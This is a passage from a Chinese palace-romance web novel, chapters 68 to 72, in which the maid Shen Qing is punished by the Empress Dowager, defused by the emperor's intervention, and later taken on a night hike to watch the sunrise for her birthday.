纪宸端起眼前的茶,喝了两口,忙放下:“母后,儿臣已经喝过了。” 太后感受到纪宸殷殷期盼,又带着焦灼的目光,不忍与其对上,垂了眼。 纪宸幼时贪玩不重视课业,她当时怒极,责令他完成多少课业,才能允许他玩他的小弓箭或是由宫人带着去御花园。 从上书房回来后,纪宸就是这么扒了两口饭殷殷看着她,也不说目的,因为知道贪玩会惹得她不喜。 她也总是心软,拒绝不了他。 渐渐地,纪宸长大,已经不会再对什么表露出渴望,也不会因为贪玩儿而荒废课业。 如今纪宸虽未明说,但太后也知道了纪宸对那名宫女的喜爱。 喜爱到对她用小时候的手段。 往日的记忆被唤醒,太后微抬下巴:“在小佛堂。” 松鹤斋修时纪宸扫过图纸上的布置,知道小佛堂在哪儿,当下一喜:“谢谢母后!” 便向耳房快步走去。 这边,沈青数到第一百九十九颗豆子的时候,隐隐约约听到纪宸的声音,还不待她再夹起一颗,便听见帘子被掀开的声音。 她回头,果真见到纪宸,半是欣喜半是埋怨地瞋了他一眼,又想起香慧嬷嬷在旁边,复又不自在地低头。 纪宸见到沈青,唇角已经不自觉弯起来,收到她幽愤的眼神也觉得是甜的。 他三两步上前将沈青拉起来,手覆到沈青的膝盖上,皱眉道:“怎么是跪着,母后怎么这样对你?” 他都舍不得让沈青跪着,即便是特殊情况,也很快就换了个姿势。 算上他在路上的时间,怕是膝盖已经红了。 香慧嬷嬷全当没听见纪宸对太后的抱怨。 沈青的唇角挂起,没接话,知道这话不是对她说的,她似怨非怨地提起另一件事:“您第一百九十九颗豆子的时候才来。” 她的膝盖被纪宸的手輕轻揉着,酸麻感缓解了不少。 纪宸的目光落到那碗杂豆上,对太后磋磨人的手段有了了解,心中是说不出的沉重:“是朕来迟了。” 沈青还是委屈,主要是得让纪宸知道她的委屈。 不然一次复一次,这一次是太后,下一次趁纪宸不在拿位份压她的是其他人,那她真是有受不完的罪了。 她当嫔妃是来享福的,可不能这般受罪。 纪宸拉着怏怏不乐的沈青到一旁的榻上,并不急于出去,而是对香慧道:“嬷嬷,拿一些化解淤青,缓解疼痛的药膏来。” 香慧亲自去给皇上取来。 太后这里的好东西不少,大半是皇上孝敬的,因此香慧不会拿普通的药膏糊弄,而是将仅有一瓶的药拿了出来。 纪宸让其余人背过身,这才挽起沈青裙下的褪裤,先露出一只膝盖。 沈青的皮肤娇嫩,也确实如他所料,泛红了。 沈青看着纪宸不急不慢,神态认真地给她上药,也就不说这红痕过一会儿自己就消了这种扫兴的话。 纪宸爱宝贵就宝贵吧,她还巴不得呢。 两个膝盖依次上完药,纪宸仍是不急:“歇一会儿,再去见母后。” 他坐在榻上,将沈青搂进怀里。 沈青趁香慧嬷嬷不注意,悄悄锤了纪宸一下,眨巴着眼等纪宸反应。 纪宸若是纵容,她就得寸进尺,若是板着脸,她态度自然会软下来。 纪宸捉住沈青的手,放到唇边吻了吻。 他觉得这已经是沈青收敛过的反应,沈青因太后受了这么大委屈,不找他闹,他才稀奇。 不能说是纵容吧,纪宸觉得,他愿意沈青脾气大些,最好遇见其他嫔妃,受了委屈,能让宫人教训回去。 经此一事,纪宸深深觉得,跋扈好啊,跋扈一点可太好了。 沈青若是今日闹得天翻地覆,他也是有底气处理好的。 纪宸来时预想过种种可能,唯独没料想到沈青会老老实实挨罚,不过一想她过去的模样,当下就只剩心疼了。 纪宸看向沈青,沈青不给面子地撇开脸,轻哼了一声。 见此,他心中不由气闷,气沈青的不成才,光在他面前闹脾气有什么用?不过这亦说明了他的喜爱给了沈青在他面前使性子的底气,这种气意便没那么足了。 竟还有些得意。 纪宸轻轻刮了刮沈青的鼻子。 沈青态度稍软,把玩起纪宸的手。 过了一会儿,纪宸让香慧嬷嬷带上那碗杂豆,牵着沈青去面见太后。 沈青默默变脸,装作温顺乖巧的模样。 心里细想了下,她方才可没抱怨太后,便安稳了些。 纪宸人未走到太后跟前,声先至:“母后这里若缺少分豆的人手,朕便亲自效劳,如何?” 纪宸这话虽似寻常问询,但侍奉的宫人听见不对,已经默默跪了下来,几乎能预想到太后和皇上之间一触即发的严重态势。 太后一听便明白这厮底气足了。 沈青震惊地看向纪宸,若非纪宸牢牢牵着她的手,她又不能不给纪宸面子,她也想跪了。 她慌乱地看向太后,眼中求生欲拉满。 太后明鉴!真不是我添油加醋! 第69章 第69章宫女六十九日 太后并非一个慈母,随着年纪增大,即便岁月没有在她身上留下什么痕迹,她的脾气却日益变大,尤其时常穿着深颜色的衣裳,就更显得她不好相与了。 但她都能怜惜蒋美人,对皇帝身边的沈青自没多少不满。 她道:“你在埋怨哀家?” 纪宸语气硬邦邦:“儿臣不敢。” 沈青急得直拉他的袖子,但纪宸不为所动,任由衣袖被拉扯,但亦没放开沈青的手。 太后繼续问:“那就是心里有气?” “是!”纪宸直截了当承认,目视太后,眼中是匪夷所思,“母后就这么缺一个分豆的人手?就算是普通宫人不行,蒋美人呢,母后是满意她的吧,何苦要趁朕不在将沈青叫来,甚至让她跪在那里,她有什么錯?” 他的喜愛在旁人眼中分量就这么輕嗎? “蒋美人不能规勸母后,未尽职责,理應處罚。” 太后知道他在杀鸡儆猴,可这不能是蒋美人,蒋美人有錯,但不能叫皇上下了颜面,不然日后蒋美人如何自處? 太后道:“蒋美人并无大錯。” 纪宸:“那是朕的错?” 太后不能说是皇帝的错,纪宸又不相让,两人一时僵住,神情都是一个赛一个冷然。 母子相争,沈青只能尽量缩小存在感,毕竟这也不是她能插话的。 她默默思量着,蒋美人她自然记恨,若非她,她今日也不会走这一遭。 虽没受什么伤,但蒋美人无事一身輕的走了,她却得留下面对这副場景。 纪宸为她向太后争论,她不能不承情,约莫经过今日,往后德妃贤妃想按照太后的手段磋磨她,也得掂量掂量自己是不是有太后这般分量。 若没有,何苦惹她呢? 沈青眼中茫然,不知道太后和皇上要吵到什么时候。 在她回神之时,忽然发现好几道目光落到了她身上,钱繼恳切地想让她勸住皇上,香慧嬷嬷面露忧愁,似想让她缓和一下。 甚至太后的视线也隐晦出现在她身上。 可她能做什么? 现在这場面不是太后和皇上各退一步便妥当了嗎?左右皇上连怨气都不敢冲太后发,逮着个可怜的蒋美人想处罚,奈何太后中意蒋美人,不愿意让皇上罚。 所以一时僵住了。 不过……沈青真有法子解围。 她对太后是没有那么深的记恨的。 “哎呦!”沈青蹙眉,痛呼出声。 纪宸连忙看向她:“怎么了?” 沈青指着小腿,疼痛难耐道:“皇上,我小腿抽筋了!” 看,天大的事! 所以你们别吵了。 纪宸心下稍松,下一刻直接将沈青抱起来。 太后缓和了脸色:“东暖阁没人住,香慧,领着他们过去,再传一名御醫。” “哎!”香慧嬷嬷應下,覺得雙腿都有劲儿了。 钱继也活了过来,心中的激动不必多说,感叹着,沈青是有事真上啊! 除了纪宸,所有人都知道沈青是装的,可没人戳破,只要能将这事揭过去,无论好的坏的,能奏效就成。 而纪宸,因为太过担忧,反而失了往日判断,对沈青小腿抽筋半信半疑。 这些天沈青跑跑跳跳还上马,身体有些反应很正常。 只是这时机太巧了。 所以纪宸抱起沈青准备跟香慧嬷嬷走时,添了一句:“既然母后这里缺少分豆的人,那由蒋美人效劳,就再合适不过了。将太后的要求一一说给蒋美人,朕要她也跪在小佛堂细细挑拣。” 最后一句话纪宸是说给钱继的。 钱继连忙应下。 太后闻言稍松,只是这便还好,当时她用此责罚沈青,也是见她身板不壮,用来给她磨性子。 蒋美人的性子确实该磨一磨了。 纪宸的话还没说完,光是这些至于他和太后僵持不下吗? 他的目的是貶蒋美人的位份,来以儆效尤。 “蒋美人不堪美人之位……”纪宸薄唇轻启,吐出的却是这么让人心冷的话。 沈青见此不得不打断他:“疼!皇上,我疼,您哄哄我!” 太后的脸色难看了一瞬间,又因沈青不着调的话不知该做何表情,只得摸了摸衣裳,复又摸向头上的珠翠。 他们私底下,都是这么来的? 宫人的眼睛也骤然睁大,唇角微微翘起。 纪宸低头看了沈青一眼,抱着她大步離开。 踏出了松鹤斋,沈青的声音这才弱了下来,心累,纪宸是生怕不能和太后吵起来 再听到纪宸冷声问:“不疼了?” 沈青无辜地看向他,声音弱弱:“疼。” “可是在您怀里,不知怎么回事,我感覺好舒服,也就没那么疼了,皇上于我可能是良药。” 纪宸颠了颠沈青,将沈青抱好。 可别以为離开了太后他就不会降蒋美人的位份。 “蒋美人……” 沈青再次出声打断,气恼道:“您怎么总提蒋美人,蒋美人蒋美人,我快要酸死了。在您怀里的人是我,您就不能多念念我,多看看我?” 坦白来说,沈青并不是个多么好的人,不然她也不会在纪宸给出蒋美人处罚时默默听着,只在降位份时打断。 不让蒋美人被貶斥,是她讨好太后的手段,毕竟这里还是太后的地界,她说的话说不定下一刻就会传到太后耳中,她护着蒋美人是一定的。至于日后,她能强行让纪宸喜歡蒋美人,给蒋美人升位份吗? 把蒋美人定死在美人的位份,便是对她最好的惩罚。 美人的位份实在平平无奇,只能对着宝林才人耍威风。 沈青心想,再贬,又能贬到哪里去? 与太后争执一顿,最后将蒋美人贬了,于纪宸而言也没落下什么好处,母子裂缝还不好修补。 既能传出纪宸是孝子的言论,说明在纪宸心中,太后是重要的。 纪宸不好再提蒋美人了,不然沈青发的脾气比他还大。 什么吃蒋美人的醋,净胡扯。 这么想着,纪宸眼底冰霜反倒渐渐消融了。 一行人快步到了东暖阁,纪宸将沈青放到床上,拉着沈青随手一指的小腿揉起来。 沈青颇为不自在,在场的恐怕只有纪宸仍疑心她腿疼,还说什么要御厨熬久一点的骨头汤让她日日饮一些。 “皇上,我不疼了。” 纪宸好脾气道:“不疼那便休息一会儿。” 沈青靠到纪宸身边,找了个他怀里的位置窝进去,黏糊道:“我想皇上。” 纪宸用手指梳理了下沈青稍乱的发丝:“我们不是一直都在一起吗?” 沈青长长的睫羽轻轻扇动,虽未看到她的眼眸,但能仍能感受她难掩失落的模样:“在来松鹤斋的路上,我的心情很忐忑,好在香慧嬷嬷是个好人,会替我向太后说好话。太后其实没有对我恶语相向,只是问我知错没有,我肯定要知错啊,就被罚去分豆子了。” “分豆子的时间真的好漫长,我能隐约听到太后和蒋美人在说话,不算无聊。但数到第一百颗豆子的时候,我就很失落,心想您怎么还没来。” “其实那时,也没过去多长时间。” “到快要两百颗豆子时,我真的要稳不住心态了,便听到皇上的声音,当时我心里是雀跃的,但就是忍不住对您埋怨。” “您说,怎么一会儿时间,我就忍耐不了呢。” “怎么就……那么想您呢?” 傻丫头,你是喜歡上朕了……纪宸饱含愛意地低头吻了吻沈青的唇角,将她眼中的惊讶一览无余。 朕也好喜欢好喜欢你。 雙向奔赴的愛恋总会让人更加沉溺,纪宸觉得,他对沈青的爱意更深了。 沈青轻眨了下双眼,捂住纪宸的眼睛,加深了这个吻。 如果纪宸爱她,那就让这个爱再多一点吧。 她很贪心,所以想方设法都要谋夺纪宸的真心。 唇齿分开后,沈青脸红心跳久久不能平静。 她痴缠道:“皇上,能让蒋美人一直做美人吗?” 最好的滋味纪宸体会过了,现在的他是最好说话的时候,他应下:“好。” 沈青抿唇笑着看向纪宸。 眉梢尽是自得。 将皇帝哄到这种份上,确实值得小小骄傲一下。 很快,太后的人带着御醫来给沈青诊治,沈青自没什么不好,与太后的人默契将此事混了过去。 纪宸见此,默默道,小骗子。 但他又怎会不知道沈青这么做是为了他? 满室那么多人无人敢劝,只有她,中途受任,就敢调和他和太后的矛盾。 这样的人,如何能不为她出头? 再不郑重其事护着,她都要被欺负死了。 太医离开,纪宸也带着沈青走了,让香慧嬷嬷告诉太后一声,并言明了在沈青的劝说下,他不会贬蒋美人的位份。 纪宸来的时候是骑马,走的时候则是乘龙辇。 沈青与纪宸同乘,还未开心两下,便听纪宸幽幽道:“骨头汤不能不喝。” 沈青瞬间苦着脸:“好,好吧。” 她真的牺牲良多!- 香慧嬷嬷带着消息去见太后,太后 悬着的心终于放下了。 瞧瞧,这算什么? 香慧嬷嬷道:“沈青姑娘是个实诚的。” 太后忍不住叹气:“再好也是皇后的人,你这般夸她,她想必也不会背弃皇后。” “寻些姑娘家爱戴的首饰,派人送给她,贵重些,不要逊色了皇上给的。” 香慧嬷嬷笑着哎了一声。 松鹤斋短短半日发生的事情,像插了翅膀的鸟,快速飞到嫔妃住的地方。 留意着松鹤斋动静的人得了消息,心中万分复杂。 第70章 第70章宫女七十日 沈青回去后便让白桃去查了这几日有谁接触过蒋美人,蒋美人的心思都写在臉上,若说背后没有人挑唆她,沈青是不信的。 白桃和白樱是纪宸给她的人,既给了她,那便是她的,万没有一邊跟着她,一邊将她的事事无巨细转述给别人,就算这个人是纪宸也不行。 在避暑山庄时机不成熟,她不可能瞒过纪宸,但回了宫,她会慢慢杜绝这种事。 如果不行,她就会提拔其他人。 再深的愛意也有慢慢消退的一天,比起依靠皇帝的宠愛,沈青更想自己立起来。 用柔弱騙騙皇上就够了,可不能把自己也骗了。 白桃出去了一趟,很快便回来了。 沈青翻着书,听白桃说话。 白桃:“姑娘,这几日蒋美人除了去皇后那里請安,其余时间都呆在太后身边,不过昨日在水芳岩秀請安结束后,嫣婕妤和玉嫔同蒋美人说了几句话。” 沈青的心思已经不在书上了,心中疑惑不已,嫣婕妤和玉嫔怎么掺和在了一起。 如果没记错的话,玉嫔不爱与新妃打交道,嫣婕妤又有獨一份的恩宠在身,两人都是宠妃,纵然明面上没有纷争,但也不会到交好的程度。 除非她们有共同的敌人和利益。 沈青想到了自己,嫣婕妤两次想找她都没成功,玉嫔那日又被皇上下了面子眼睁睁看着她随纪宸上了同一条船…… 很显而易见了,她让这两个人聚在了一起。 沈青呢喃着:“有没有办法……”让她们反目成仇。 白桃倾耳,却没听清沈青的话,不由问询道:“姑娘想要做什么?” 沈青看向白桃:“我想找一个曾呆在太子府,知晓太子府后宅女眷事情的人。” 她是纪宸登基那年小选入宫的,当时宫里放出去了許多宫人,又填补进了新的宫人。她对之后的后宫还算了解,但玉嫔是太子府的老人,在纪宸登基后默默无闻,是杜氏倒下了,她才真正起来。 这几年时间没什么可值得深挖的,打探一下玉嫔在太子府时期的事,也算知己知彼。 白桃想了想道:“御前太子府的老人,有分量的便是王积贵王公公和赋雪姑姑二人了。其他人即便有太子府时的资历,知道的可能也不多。” 白桃并不知晓她和王积贵有旧交。 沈青直接忽略了前者,思考着什么时候去见赋雪姑姑一趟。 赋雪现在在大皇子身边,去见赋雪就必须经过皇后。 她已经十天没有见过皇后了,想必在皇后心中,她已经跟着皇上,心野了。 这可不成,靠山沈青一点都不嫌多。 这时,纪宸进来,出声打断了沈青的思绪:“看书看累了?” 她看书的地方与纪宸批折子的地方虽同在一殿,但踏进来便可看见纪宸的龙案,而她这里则需要穿过一道门。 平日搬折子侍墨的太监进进出出,倒不会打扰到沈青。 且沈青離开这里,出去散心,纪宸抬眼便能知晓。 这道门设在沈青日常翻书所用小案的侧面,不会有纪宸意外听见她们说话沈青还不知道的情况发生。 沈青摇了摇头,起身拉住纪宸的手让他跟她去软榻那边坐下。 “皇上批折子累了,可以躺在我的腿上小憩一会儿。” 纪宸捏了捏眉头,他确实批折子烦了,才来沈青这里,便是和她牽一牽手,掐一掐她的臉蛋,这种枯燥感便会少許多。 躺在沈青怀里……纪宸可耻的心动了。 沈青看出纪宸的意动,猜测着他约莫覺得伏在女子膝头不太好,有损他威严的形象,这才没立刻答应,便半推着他躺下。 纪宸半推半就着从了沈青的意思。 随即,沈青白嫩的手指便落到了他的额头两侧,輕輕揉着。 是帶香气的。 纪宸闭眼,在这种情况下他滿脑子都是沈青的脸庞,光是闻着这股属于沈青的淡香,心中便躁动了起来。 最美味的点心呈在他面前,他却只能浅尝辄止,这种感覺真是抓心挠肝。 沈青看的书杂,有本书里面就是讲怎么按摩额头能舒缓疲惫,只是不知道是不是手法不对,她越按,纪宸的呼吸便愈重了一分。 搞得她都不敢下手了,生怕把纪宸给按坏了。 她抬眼示意白桃,让她将扇子递过来。 拿到扇子,沈青轻轻扇动,想让纪宸别那么热。 她是完全没意识到这是什么情况,畢竟她又没有撩拨纪宸,堪称温柔小意,又哪会料到纪宸光是这么躺着便会情动。 纪宸忍不了了,睁开眼接过沈青手上的扇子,扶着她的肩头让她靠在自己膝上:“朕亲自来扇。” 沈青惊讶地看向他,顺从地躺到纪宸腿上。 纪宸冲着他自己猛扇了几下,方覺得火气降了下来,恶狠狠道:“真想快点到你生辰那日。” 沈青眼中迷茫,纪宸前言不搭后语,她又不是神仙,怎么能猜出他的意思。 于是道:“陛下要给我过生辰?” 纪宸颔首。 便见到沈青亮晶晶的眼睛,她开心且直白暗示道:“我比较喜欢一些俗物。” 她冲纪宸眨了眨眼睛,最好是不帶宫中标志的。 那样的黄金什么时候都能用。 等她有了宫殿,她就找一个暗格将所有黄金都放进去,以备来日之需。 纪宸不由好笑:“依你。” 沈青滿意了。 她拉了拉纪宸的衣袖,纠结道:“我明日能去见见皇后吗?” 纪宸不置可否:“为什么?” 沈青听纪宸的语气便觉出了他不甚高兴,他不想她去见皇后,可能还迁怒着那一日的事吧,于是硬着头皮道:“皇后畢竟是我的主子,且皇后娘娘贤惠,我不想日后和她的关系变坏。” “当日的事,皇后并无坏心。” 纪宸神情淡淡,提醒道:“明日是初一。” 沈青是真没想到这茬,每月的初一十五,除了特殊情况,皇上是要去皇后那里的。 明天该是纪宸去才对,她去,不是成心添堵吗? 沈青立刻道:“那我換一个时间。” 纪宸没说话。 沈青这时是真的感受到了什么叫不可捉摸,她抿了抿唇,捏着他放在她腹部的手:“您明日会去吧?” 纪宸放下了扇子,心如止水。 他的声音无波无澜:“你希望朕去。” 他是平静且肯定的语气。 “皇后娘娘是个好人……” 纪宸打断道:“于你而言谁不是好人?” 沈青玩笑中透露几丝真心:“玉嫔和嫣婕妤长的好,我就很排斥啊,皇上喜欢的女子我都觉得不是好人。” 纪宸后知后觉明白了她浅显的算计,因为料定他不喜欢皇后,所以推出去也不觉得心疼,反而能用此方法缓和她与皇后的关系。 沈青有她自己的思量这很好,但用到他身上,便叫人没那么舒服了。 纪宸幼稚且故意道:“嫣婕妤长的确实好。” 沈青的脸色一下子就变了,不管心中有几分醋意,她都得表现出十成十。 她赌气道:“那你找她吧,留我一个人在这里獨守空闺!” “什么独守空闺,不像话。”纪宸训斥她道。 纪宸这般说,沈青反而要挑衅了:“您怎么只说嫣婕妤,不说 玉嫔?” 按理说玉嫔的位份比嫣婕妤高,纪宸先提也该提玉嫔,不说,便是心中嫣婕妤的分量要胜过玉嫔。 嗐,光这一点可不足以離间两人。 毕竟皇帝的恩宠又不能真正做到一模一样,总会有一个人少一点,一个人多一点。 纪宸已经后悔提这个了,他非要跟这个傻丫头争口舌之快干什么? 他只道:“若珍惜你的容貌,便离玉嫔远一些。” 沈青听得一头雾水,纪宸转而又说起其他的,仿佛这不经意的一句话没什么重要的。 甚至让沈青不由怀疑纪宸是否真的说过这句话,而不是自己幻听。 玉嫔会伤她容貌? 纪宸为什么这么觉得? 玉嫔定是做过什么事被纪宸知晓了,或者纪宸只是猜测,手上并无证据,既提到了,便让她小心一些。 因此,沈青并未就此事缠着纪宸非得说个明白,而是记在心里慢慢琢磨。 翌日,七月初一。 这日沈青很是殷勤,甚至亲自为纪宸布膳,从早上开始也不自己去玩了,反而跟在纪宸身后,甘愿当个小尾巴,那看纪宸抬手反应的本领,简直要把钱继的活都给抢了。 纪宸没有推拒,甚至享受起来,沈青这般态度可不多。 自从她有了自己的马,再也不稀罕他带着她同骑疾奔了,也不在乎他是否空得出时间,反正教骑射的女师傅在她就满意了。 只是在他陪她一起时,仍会很开心。 纪宸没什么大事的一日相当枯燥,也难为沈青跟着没有无聊到萎靡了。 时间很快来到酉时,沈青眼巴巴道:“这时去皇后那里,还能用个膳。” 即便知道沈青目的,但有她陪着心里不断生出高兴的纪宸,神情淡了下来。 他道:“这本就是规矩,不需你来提醒。” 沈青低头哦了一声。 心里啧啧地想,他也知道是规矩啊,还得人三催四请才挪步。 換了他喜爱的几个嫔妃,八成这时已经到妃子的寝宫了。 她真是有点为皇后不平,皇后以前好歹还喜欢过纪宸呢。 纪宸不知她心中所想,见她失落低头,不由想着是否是他语气过重了,于是缓了神色,将手上价值不菲的串珠套在了她的手上,轻轻拍了拍她的背,就带着钱继离开了。 今晚是沈青独占大床的一天,躺在床上,她脸上露出笑容。 心里或许是有些酸酸的,但少到可以忽略。 从一开始沈青就很清楚,纪宸不可能只有她一个人,她也从未奢望过独宠。 她唯一能争取的便是纪宸心里的独特。 有了这,她便可以在后宫一路高升,横行无忌,反正有纪宸撑腰。 所以纪宸即便表露出对她的爱意,沈青心中对纪宸的喜欢也相当浅薄。 换另一个长的好,位高权重,讨她欢心,爱她的男子她亦会动心。 有人十分的喜欢只会表露出两三分,而有人仅两三分喜欢便会表现出十分,沈青便是后者。 高明的骗子会骗过自己,沈青嗅着腕上属于纪宸的手串,上面还残留着他用过的熏香,安然入睡。【你现在阅读的是 】 70-80 第71章 第71章宫女七十一日 沈青的觉一向淺,跟纪宸一起睡后,她每日早上会醒来两次,一次是卯时初,纪宸起身的时候,身为皇帝他的自律没得说,通常她会从纪宸怀里滚出来,翻个身继续睡。 等到辰时,她真正睡饱,才会起来与纪宸一同用膳。 所以当一道目光落到沈青臉上,扫了一遍又一遍时,她自然而然醒了。 只是还困,眨着一双睁不开的眼睛,凭着殿内留的一盏烛火,认出是纪宸,便放心地张开手臂环住纪宸的腰。 她嘟囔着:“您怎么回来了?” 纪宸的手放在随着沈青起身铺在后背的乌黑长发上,回忆起方才见到的那一幕。 他临走时给的手串正被沈青宝贝地捧在手心,她是侧着睡的,背微微弓起,青丝如瀑点缀在身后。 她的臉庞正对着手串,鼻尖微微一点,似乎就能触碰到玉质的珠子上。 仅是见到她睡时的依戀,便能想象得到她睡前睹物思人的模样。 他原以为她会睡得没心没肺。 纪宸心里微妙地起了波澜。 说不清道不明。 但可以肯定,内心是隐秘愉悦的。 所以即便沈青说出的话或許不那么动听,纪宸也好脾气地解释道:“不早了,现在是卯时初,在宫中是朕上早朝的时候。” 沈青没说话,甚至没怎么听纪宸说话。 她就这么抱了一会儿,方觉得清醒了,纪宸剛从外面回来,携着一身寒气,她觉得冷,不舒服,便鬆开了。 本来挂在她手上,因为起身抱纪宸而落到身上的手串自然露了出来。 沈青低头看了一眼,慢半拍将手串捡起,没什么留戀地放到圆木几上。 纪宸问她:“不喜欢?” 沈青搖了搖头,仰起脸,理所应当道:“陛下回来了呀。” 睹物思人,既然人已经到了,那么不管这件物品多么贵重,也没有什么可留恋的了。 重要的是眼前的人。 纪宸被她取悦到了,輕拍了下她的背:“是朕吵醒了你,再睡一会儿吧。” 他看出了沈青的惺忪且迷茫。 沈青也没有跟他打探他跟皇后的事,给纪宸讓出位置,自己往里面去了去,躺下不过一会儿,便呼吸平缓,迷迷瞪瞪地重新睡了过去。 她觉淺,但是睡的快啊。 彼时水芳岩秀中,嫔妃已经陆陆续续落座在屋内,准备给皇后请安。 相比于前几日的沉闷,这日的请安嫔妃们已经恢复了其乐融融的氛围。 皇上昨天照例来了皇后这里,于她们而言,就是一个清晰的信号,皇上很快就会翻牌子! 嫔妃们的目光悄然扫向其他人,猜测着誰会是那个幸运儿。 玉嫔垂眸,心中鬆了一口气,不由感叹,看来皇上这些天留沈青在身邊,不过是贪恋沈青的美色,当初嫣婕妤进宫,不也是凭借着绝色入了皇上的眼,亦引起了她的忌惮。 现在看来,沈青大概是下一个嫣婕妤。 新鲜感终有尽时,当初嫣婕妤压她一头,现下恩宠还不是落了下来。 玉嫔原想着皇上和沈青正浓情蜜意,許是会故意忘了昨日需要来皇后宫里,但皇上没有,仍是依着规矩来了,呆了一夜方走。 这说明什么?说明皇上心中有分寸,并没有完全沉溺在溫柔乡中。 既如此,皇上的宠爱便有争的可能。 玉嫔不由搖了摇头,輕笑一声,她竟忌惮一名宫女至此?居然深信沈青会独宠这个可能,嫣婕妤都没有做到的事…… 而此时的嫣婕妤正稳稳坐着,待听到一声:“皇后娘娘到——” 当即与众人一同起身行礼,等皇后说了一句免礼,她才趁着起身时偷觑了皇后一眼。 皇后脸上敷着一层薄粉,用来遮掩眼下的淡淡青黑,神情一如往日妥帖,甚至比平常多了一丝微笑,很能讓人觉出她的好心情。 然而嫣婕妤却感到了不妙。 她看人喜看眼,人的眼神是无法伪装的,恰如有人说谎,喜欢垂眸,便是因为眼睛是极容易瞧出破绽的地方。 皇后的眼神不似侍寢后该有的,宫中的女人将侍寢看得很重,侍寝过后,总会表露出几分。 皇后喜,更像是皇上来了,她高兴,而非更深的欢愉。 嫣婕妤猜测着,许是沈青纠缠皇上过甚,以至于皇上没了心力,才与皇后早早歇下。 她越想,越觉得这便是真相。 嫣婕妤心中对沈青的忌惮更深了,一个没脸没皮痴缠着皇上的人可不好对付。 宫里的嫔妃都是大家闺秀,没人会使这样上不得台面的手段。 而她呢,因为本就长的妖媚,便不好再在床上花费心思,不然皇上该如何想她?不过如此懵懂吊着皇上,效果也比普通嫔妃好。 嫣婕妤看着过早放松的嫔妃,眼中不由流露出了几分怜悯。 果然,之后几日,皇上仍未开始翻牌子。 被嫣婕妤猜测主动缠着皇上的沈青现下正被纪宸压着练手,因为这厮冠冕堂皇地说,因为她的生辰在即,答应她的事他却没有办到,自然得趁着还有时间趁热打铁积累一下经验。 他在说谎! 沈青心中愤愤,纪宸待她根本就可以溫柔起来,但 他次次都要露个破绽。 他哪儿那么旺盛的精力? 生辰前一日的晚上,月明星稀,一辆不起眼的马車停在宫殿前。 在纪宸询问沈青要不要出去,沈青自然连连点头,目露期待。 能出避暑山庄玩儿,自然再好不过了! 而当马車出了避暑山庄沿着山坡往上行走了约莫一个时辰后,沈青才终于发觉了不对。 怎么、越走越荒凉? 等马车停下,纪宸牵着沈青的手下来,一道长长的山路映入眼帘。 沈青被这夜风吹得心里直发怵,看向纪宸。 纪宸此时已经拿出披风,披在了她身上。 他温柔地看向沈青:“走吧。” 沈青无法,只得跟上,好在纪宸照顾她的步子,走的并不快。 她心中是疑惑的,但当越走越高,走过的路与见过的风景在回头时可以一览无余时,沈青这才意识到纪宸带着她来干什么。 他居然在她生辰前一日,带着她爬山! 还是夜爬! “陛下,我们要去干什么?” 纪宸回头看向她,随行侍卫手持的火把将他眼中的温柔照的更细碎了:“去山顶看日出。” “若是累了,朕可以背你。” 沈青摇了摇头:“我走得动。” 她锻炼了这么些天,早不是跑两步就气喘吁吁的人了,更何况纪宸还特意照顾她的步伐。 没理由走不动这小小山路。 等历经千辛万苦爬到山顶,沈青将寻来拄着的棍子撂下,好险没瘫软下去。 死要面子活受罪,说的就是她了吧。 为了一句走得动,她愣是自己爬了上来。 沈青自己都觉得意外。 但同时,望着面前白雾般的雲海,一股强烈的自豪感油然而生。 时间被纪宸算得剛刚好,他们上来没一会儿,原本黑漆漆的天空,破出了一线橘光。 山顶上苍翠松树斜倚着,沈青几乎忽略了旁邊的纪宸,就那么定定地看着。 拂晓的曙色拨开雲雾,天边的霞光多彩,旭日从地底冉冉升起,光芒耀眼,威势盛大。 目不转睛看着这一幕,所有的疲累在此时都消除殆尽了。 天光大亮,沈青恋恋不舍收回视线,看向纪宸,真心实意道:“这是我过过最好的生辰。” 纪宸知道沈青会喜欢这些,一如她喜欢骑马射箭,即便腿会磨得生疼,太阳照的人难受,她还是喜欢。 常常拿这些来消磨时间。 他不明白她看着娴静,怎么会喜欢这些。 但这不妨碍他筹划这场惊喜。 他准备好了路上沈青会说累,会娇气地冲他撒娇抱怨,会摇着他的胳膊让他帮她,但沈青通通没有,没有抱怨过一个字,即便累极,也只是扯着他的手,让他拉一把。 还是他看不过去给沈青寻了根木棍,让她拄着。 沈青在认真看日出,殊不知他也在看她,他看着她眼中的光芒亮如太阳,便知道,她是满意的。 见沈青望过来,纪宸张开手臂,眼底波光流转,露出笑意。 沈青看着纪宸俊朗面容,心里直道了好几声不亏,扑进纪宸怀里,喃喃道:“皇上,你好的太过分了。” 纪宸摸了摸沈青的脑袋。 他是皇帝,想对誰好不是轻而易举吗? 不知道两人谁起的头,只是一个错眼,他们便旁若无人地气息交织,唇齿相依起来。 不同于以往,这次纪宸是温柔的,却是完全掌控的姿态。 沈青目光一颤,只能被动享受,被清清浅浅的吻搅扰的呼吸渐乱,双颊泛红,身子也软进了纪宸怀里。 但,滋味不错。 在回避暑山庄的路上,沈青还沉浸在兴奋中,笑眯眯地看着纪宸,看开心了,便捧着他的脸来一口。 直到回了寝宫,沈青才觉得累了。 恨不得立刻昏睡一场,睡他个天昏地暗。 偏纪宸还哄她:“困了就睡,睡醒再吃长寿面。” 沈青听了他的话,脑袋像小鸡啄米一样点啊点,不过片刻,眼睛就实在睁不开了。 但她仍执拗道:“今天我要陛下一直陪着我。” 纪宸很喜欢她的得寸进尺,但更想她再大胆一点,一番话萦绕在心间,终是没说出口。 “朕会的。” 第72章 第72章宫女七十二日 这一觉沈青睡得黑沉,中间被纪宸叫起来喝了几口粥继续睡,等到真正醒来,果然见外面的天已经擦黑。 沈青揉了揉眼,懒散道:“怎么不叫我?” 纪宸的声音传来,低沉隐秘:“朕看你睡得很香。” 沈青觉得纪宸此时的声音非常磨耳朵,遂不自在揉了揉耳。 她扭头寻找声音来源,却在目光接触到他的那一瞬间一顿。 沈青睡觉很乖,但即便如此她的里衣还被蹭得露出了纤巧锁骨,领子處的雪白肌肤讓人看得眼底幽暗。 然而这样一位佳人,却在看到纪宸时罕见愣神了。 他此时的模样与平常相差甚大,他头戴金冠,将一半头发束起,另一半随意散在身后,长至腰间,看着极为意气风发,甚至黑发中编了几缕长辫,看着就有些勾人…… 然而这甚至不是重点,纪宸一袭红锻锦衣,织金的似欲乘风舞动的龙纹大片缠绕在衣襟与宽袍大袖上,竟叫人一时不知该看红衣,还是该盯着龙。 最终,沈青抉择的目光落到了纪宸的脸上,他很明顯是特意打扮过的,眉修得快要入鬓,鼻梁高挺,薄唇轻抿。 